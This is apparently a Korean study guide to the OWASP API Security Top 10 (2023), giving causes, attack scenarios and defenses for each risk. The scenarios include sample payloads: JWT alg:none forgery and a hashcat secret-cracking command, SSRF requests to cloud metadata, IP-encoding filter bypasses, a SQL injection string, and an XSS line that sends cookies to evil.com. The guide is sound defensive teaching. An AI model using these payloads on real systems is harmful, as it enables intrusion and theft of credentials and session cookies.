OWASP Top 10 API Security Risks – 2023

API1:2023 — Broken Object Level Authorization (BOLA)

취약점 설명

API 요청 시 객체 식별자(ID)를 변조하여 다른 사용자의 리소스에 무단 접근하는 취약점이다. 웹 보안의 IDOR(Insecure Direct Object Reference)과 동일한 개념이며, API 환경에서 가장 빈번하게 발견된다.

원인

• 서버 측에서 요청자가 해당 객체의 소유자인지 인가(Authorization) 검증을 수행하지 않음
• 객체 ID로 순차적 정수(auto-increment)를 사용하여 예측이 가능
• 인증은 통과했지만 인가 검증이 누락된 구조

시나리오

# 정상 요청
GET /api/v1/orders/1001
Authorization: Bearer <user_a_token>
→ 200 OK (본인 주문 정보)

# 공격 — ID 변조
GET /api/v1/orders/1002
Authorization: Bearer <user_a_token>
→ 200 OK (user_b의 주문 정보 반환)

# 수평 권한 상승 — 타인 데이터 수정
PUT /api/v1/users/5002
Authorization: Bearer <user_5001_token>
{"email": "attacker@evil.com"}
→ user_5002의 이메일 변경 성공

방어 대책

• 모든 엔드포인트에서 요청자의 객체 소유권을 서버 측 검증: WHERE id = :id AND owner_id = :current_user
• 접근 제어 로직을 미들웨어/데코레이터로 중앙화하여 누락 방지
• 순차적 정수 대신 UUID v4 사용 (단독 보안 수단은 아님)
• Burp Autorize 확장으로 세션 교차 대입 자동 탐지

API2:2023 — Broken Authentication

취약점 설명

인증 메커니즘의 결함으로 공격자가 다른 사용자의 신원을 위장하거나 인증을 우회하는 취약점이다. API는 stateless 특성상 토큰 기반 인증에 의존하며, 토큰의 생성부터 폐기까지 전체 라이프사이클이 공격 대상이 된다.

원인

• JWT 서명 검증 미흡 (alg:none, HS256 키 brute force, RS256→HS256 전환 공격)
• 토큰 만료(exp) 미설정 또는 미검증
• Refresh Token rotation 미적용
• 비밀번호 재설정 토큰의 예측 가능성
• 로그인 엔드포인트에 Rate Limiting / Account Lockout 부재

시나리오

# JWT alg:none 공격
헤더 변조: {"alg":"none","typ":"JWT"}
→ 서명을 비운 채 전송 → 서버가 서명 검증 생략하고 수락

# JWT 비밀키 크랙
$ hashcat -m 16500 jwt.txt -a 3 ?a?a?a?a?a
→ 약한 비밀키 크랙 후 임의 토큰 생성

# Credential Stuffing
POST /api/v1/auth/login
{"email": "user@target.com", "password": "<유출DB 패스워드>"}
→ Rate Limiting 없이 대량 시도 가능

방어 대책

• JWT 서명 알고리즘을 서버 측 allowlist로 고정, alg:none 거부
• 비대칭키(RS256/ES256) 사용 권장, 대칭키 사용 시 256bit 이상
• Access Token 수명 5~15분 + Refresh Token rotation 적용
• 로그인/비밀번호 재설정에 Rate Limiting + Account Lockout
• MFA 도입

API3:2023 — Broken Object Property Level Authorization

취약점 설명

API가 객체의 속성(property) 수준에서 접근 제어를 수행하지 않는 취약점이다. 2019년판의 Excessive Data Exposure(과다 노출)와 Mass Assignment(대량 할당)를 통합한 항목으로, 읽기/쓰기 양방향 모두 해당된다.

원인

• API 응답에서 객체 전체를 반환하여 불필요한 민감 속성 노출 (과다 노출)
• 클라이언트 요청 body를 검증 없이 ORM 모델에 직접 바인딩 (Mass Assignment)
• 속성별 읽기/쓰기 권한에 대한 화이트리스트 미정의

시나리오

// 과다 노출 — GET /api/v1/users/me 응답
{
  "id": 1001,
  "name": "홍길동",
  "password_hash": "$2b$10$...",   // ← 불필요한 민감 정보
  "ssn": "900101-1234567",         // ← 불필요한 민감 정보
  "role": "user",
  "internal_notes": "VIP 고객"     // ← 내부 정보
}

// Mass Assignment — 권한 상승
PUT /api/v1/users/me
{"name": "홍길동", "role": "admin"}
→ 프론트엔드에 없는 role 필드를 직접 추가 → 관리자 권한 획득

방어 대책

• API 응답 속성을 DTO/Serializer에서 명시적 화이트리스트로 정의
• 사용자 입력 수정 가능 속성을 allowedFields로 명시적 제한
• ORM 수준에서 $fillable(허용) / $guarded(차단) 설정
• 스키마에 readOnly / writeOnly 속성 명시

API4:2023 — Unrestricted Resource Consumption

취약점 설명

API 요청의 빈도, 크기, 리소스 사용량에 대한 제한이 없어 서비스 가용성을 위협하는 취약점이다. 클라우드 환경에서는 서비스를 다운시키지 않더라도 과금을 유발하는 비용 기반 DoS(Economic Denial of Sustainability)가 가능하다.

원인

• API 요청 빈도에 대한 Rate Limiting 미적용
• 페이지네이션 미적용 또는 최대 반환 레코드 수 미제한
• 요청/응답 페이로드 크기, 파일 업로드 크기 미제한
• GraphQL query depth / complexity 제한 부재
• SMS/이메일 발송 등 비용 유발 API의 호출 빈도 미제한

시나리오

# 페이지네이션 악용
GET /api/v1/products?page=1&per_page=999999999
→ 서버 메모리 과다 사용 + 대량 데이터 반환

# SMS 과금 폭탄
POST /api/v1/auth/send-otp
{"phone": "+821012345678"}
→ Rate Limiting 없이 반복 호출 → SMS 과금

# GraphQL Query Depth Attack
query { user(id:1) { friends { friends { friends { ... } } } } }
→ 재귀적 깊이로 DB 쿼리 지수적 증가

방어 대책

• 엔드포인트별 Rate Limiting 적용 (IP, 사용자, API Key 기준)
• 페이지네이션 강제 + 최대 반환 레코드 수 제한 (예: max 100)
• 요청/응답 크기 및 파일 업로드 크기 제한
• GraphQL: query depth limit + complexity scoring + timeout
• 클라우드: 비용 알림 임계값 + 자동 스케일링 상한선 설정

API5:2023 — Broken Function Level Authorization (BFLA)

취약점 설명

일반 사용자가 관리자 전용 기능이나 다른 역할의 기능에 접근할 수 있는 취약점이다. API1(BOLA)이 데이터 수준의 인가 실패라면, API5(BFLA)는 기능 수준의 인가 실패다.

원인

• 관리자 기능 엔드포인트에 별도 권한 검증 없이 노출
• 클라이언트 측에서만 UI 요소를 숨기고 서버 측 검증 미수행
• URL 경로 추측이나 HTTP 메서드 변경만으로 접근 가능
• RBAC가 일부 엔드포인트에만 부분 적용

시나리오

# 엔드포인트 경로 추측
GET /api/v1/users          ← 일반 사용자: 접근 가능
GET /api/v1/admin/users    ← 관리자 전용이지만 권한 검증 없음
→ 200 OK + 전체 사용자 목록

# HTTP 메서드 변경
GET /api/v1/users/1001     ← 조회: 허용
DELETE /api/v1/users/1001  ← 삭제: 관리자만 가능해야 함
→ 삭제 성공

# 숨겨진 관리 기능
GET /api/v1/debug/routes
GET /api/v1/actuator/env
GET /api/v1/admin/export-all-data
→ 문서에 없지만 응답하는 엔드포인트

방어 대책

• 기본 정책 deny-all, 명시적 허용만 개방
• 모든 엔드포인트에 역할 기반 접근 제어(RBAC) 적용
• 관리자 기능은 별도 네트워크 세그먼트 / API Gateway 정책으로 분리
• 미문서화 엔드포인트 정기 스캔 (/debug, /internal, /config)

API6:2023 — Unrestricted Access to Sensitive Business Flows

취약점 설명

정상적인 API 기능을 자동화 도구로 대규모 악용하여 비즈니스에 손해를 끼치는 취약점이다. 2023년 신규 항목이며, 기술적 취약점이 아닌 비즈니스 로직 남용에 초점을 둔다. 개별 요청은 정상이지만 대량 자동화 실행이 문제의 핵심이다.

원인

• API 설계 시 자동화 남용 시나리오 미고려
• 봇 탐지 / 행위 분석 메커니즘 부재
• 비즈니스 크리티컬 플로우에 대한 속도/빈도 제한 미적용
• Human-in-the-loop 검증(CAPTCHA 등) 미적용

시나리오

# 한정판 매집 봇 (Scalping)
POST /api/v1/orders
{"product_id": "limited-edition-001", "quantity": 1}
→ 발매 시점에 수백 건 동시 주문 → 일반 사용자 구매 불가

# 쿠폰 남용
POST /api/v1/coupons/redeem
{"code": "NEWUSER50"}
→ 대량 계정 생성 후 신규 할인 반복 적용

# 콘텐츠 스크래핑
GET /api/v1/products?page=1 ~ page=10000
→ 경쟁사가 전체 상품 카탈로그 자동 수집

# 좌석 선점 공격
POST /api/v1/reservations/hold
→ 모든 좌석을 hold 상태로 점유 후 시간 초과 대기

방어 대책

• 비즈니스 로직 수준의 Rate Limiting (기술적 Rate Limit과 별도)
• CAPTCHA, Device Fingerprinting, 행위 기반 이상 탐지 조합
• IP/기기/계정 기반 구매 수량 제한
• 비정상 패턴 모니터링 (짧은 시간 내 대량 주문, 동일 IP 다수 계정)
• Honeypot 필드/엔드포인트 활용

API7:2023 — Server Side Request Forgery (SSRF)

취약점 설명

API가 사용자 입력 URL을 기반으로 서버 측 HTTP 요청을 수행할 때, 공격자가 이를 악용하여 내부 네트워크 리소스나 클라우드 메타데이터 서비스에 접근하는 취약점이다. 2023년에 독립 항목으로 승격되었으며, 클라우드 환경에서 특히 치명적이다.

원인

• 사용자 입력 URL에 대한 검증/필터링 부재
• 서버가 임의 URL로 HTTP 요청을 수행하는 기능 존재 (웹훅, URL 미리보기, 파일 임포트)
• 내부 네트워크가 API 서버를 통해 간접 접근 가능
• 클라우드 메타데이터 서비스(169.254.169.254) 접근 미제한

시나리오

# 클라우드 메타데이터 탈취 (AWS IMDSv1)
POST /api/v1/webhooks
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"}
→ IAM 임시 자격증명 (Access Key, Secret Key, Token) 탈취

# 내부 서비스 접근
POST /api/v1/fetch-url
{"url": "http://10.0.0.5:6379/"}          ← 내부 Redis
{"url": "http://localhost:9200/_cat/indices"} ← 내부 Elasticsearch

# URL 필터 우회
http://0x7f000001         (Hex)
http://2130706433         (Decimal)
http://0177.0.0.1         (Octal)
http://127.1              (Short form)
http://내부서버.attacker.com  (DNS Rebinding)

방어 대책

• 사용자 입력 URL에 화이트리스트 기반 검증 (블랙리스트 단독 불충분)
• DNS 조회 결과 검증 — 내부 IP로 해석되는 도메인 차단
• 서버 측 HTTP 클라이언트 리다이렉트 추종 비활성화/제한
• 클라우드: IMDSv2 강제 적용
• 아웃바운드 트래픽 프록시 경유 + 허용 목록
• 방화벽으로 API 서버의 내부 네트워크 접근 제한

API8:2023 — Security Misconfiguration

취약점 설명

API 스택 전반(서버, 프레임워크, 클라우드, 컨테이너, API Gateway)에 걸친 보안 설정 미비를 포괄하는 항목이다. 단독으로는 사소해 보이지만 다른 취약점과 체이닝되어 심각한 공격으로 이어지는 경우가 많다.

원인

• 보안 강화(Hardening) 절차의 부재
• 기본 설정/기본 자격증명 미변경
• 불필요한 기능(디버그 모드, 관리 콘솔, 사용하지 않는 HTTP 메서드) 활성화
• 보안 패치 미적용
• 에러 처리 미흡으로 내부 정보 노출

시나리오

# 상세 에러 메시지 노출
GET /api/v1/users?id=abc
→ {"error": "java.sql.SQLException: ORA-01722...",
   "stack_trace": "at com.target.dao.UserDAO.java:45...",
   "db_version": "Oracle 19c"}
→ DB 종류, 프레임워크 버전, 내부 경로 유출

# CORS 와일드카드
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
→ 모든 도메인에서 인증된 API 요청 가능

# 디버그 엔드포인트 노출
GET /api/actuator/env      → 환경 변수(DB 비밀번호 포함)
GET /api/graphql            → Introspection 활성화
GET /api/swagger-ui.html    → 프로덕션에서 API 문서 노출

방어 대책

• 보안 강화 체크리스트 수립 + 배포 파이프라인 자동화
• 프로덕션: 디버그 모드 비활성화, 상세 에러 메시지 제거
• CORS: 허용 Origin 화이트리스트, 와일드카드 금지
• 불필요한 HTTP 메서드 비활성화, 보안 헤더 적용 (HSTS, CSP 등)
• 응답 헤더에서 서버/프레임워크 버전 정보 제거
• 프로덕션 Swagger / GraphQL Introspection 비활성화
• IaC로 환경 간 설정 일관성 유지

API9:2023 — Improper Inventory Management

취약점 설명

조직이 운영 중인 API 엔드포인트의 전체 목록을 파악하지 못하여, 폐기되었거나 문서화되지 않은 API가 관리되지 않은 채 외부에 노출되는 취약점이다. 이러한 API에는 최신 보안 패치나 인증 정책이 미적용된 경우가 빈번하다.

원인

• API 버전 관리 체계 미흡 — 구버전이 폐기되지 않고 계속 운영
• 개발/스테이징 환경의 API가 외부에서 접근 가능
• 마이크로서비스 환경에서 내부 API가 의도치 않게 외부 노출
• API 문서와 실제 운영 상태의 불일치
• 담당자 부재로 관리되지 않는 Orphan API 존재

시나리오

# 구버전 API로 인증 우회
GET /api/v3/users/1001 → 401 Unauthorized (최신, 인증 필수)
GET /api/v1/users/1001 → 200 OK (구버전, 인증 미적용)

# 개발 환경 노출
GET https://dev-api.target.com/api/users
GET https://staging.target.com/api/admin
→ 디버그 모드 활성화, 인증 미적용

# 비공식 엔드포인트 발견 (JS 번들/모바일 앱 디컴파일로 추출)
GET /api/internal/export-all
GET /api/v1/admin/impersonate?user_id=1001

방어 대책

• API 인벤토리 관리 체계 구축 (버전, 환경, 담당자, 수명주기)
• API Gateway 단일 진입점 관리 — 미등록 API 접근 차단
• 구버전 API 폐기(Deprecation) 정책 + 자동화된 제거 프로세스
• 개발/스테이징 환경 네트워크 분리 (VPN/IP 제한)
• CI/CD에서 API 인벤토리 자동 업데이트
• 정기적 외부 공격 표면(ASM) 스캔

API10:2023 — Unsafe Consumption of APIs

취약점 설명

자사 API가 서드파티 API의 응답 데이터를 신뢰하여 검증 없이 처리할 때 발생하는 취약점이다. 서드파티 API가 침해되거나 악의적 데이터를 반환할 경우, 자사 시스템까지 연쇄적으로 피해를 입는 API 버전의 공급망 공격(Supply Chain Attack)이다.

원인

• 서드파티 API 응답을 "신뢰할 수 있는 입력"으로 간주
• 외부 데이터에 대한 입력 검증/새니타이징 미수행
• 서드파티 API 통신에 TLS 미적용 또는 인증서 검증 미수행
• HTTP 리다이렉트 무조건 추종
• 외부 API 장애 시 Fallback 동작 미정의

시나리오

# 서드파티 응답을 통한 SQL Injection
외부 주소검증 API 응답: {"city": "Seoul'; DROP TABLE users;--"}
→ 자사 서버가 응답값을 검증 없이 SQL 쿼리에 삽입 → SQLi

# 서드파티 응답을 통한 XSS
외부 리뷰 API 응답: {"review": "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"}
→ innerHTML로 렌더링 → Stored XSS

# 리다이렉트를 통한 SSRF
외부 API 호출 → 302 Redirect → http://169.254.169.254/...
→ 리다이렉트 추종으로 내부 메타데이터 접근

방어 대책

• 서드파티 API 응답을 사용자 입력과 동일한 수준으로 검증/새니타이징
• 외부 API 통신에 TLS 강제 적용 + 인증서 검증
• HTTP 리다이렉트 추종 비활성화 또는 횟수 제한 + 대상 검증
• 외부 API 응답 크기 및 타임아웃 제한
• Circuit Breaker 패턴으로 장애 격리
• Parameterized Query, Output Encoding 적용
• 서드파티 API 보안 수준 정기 평가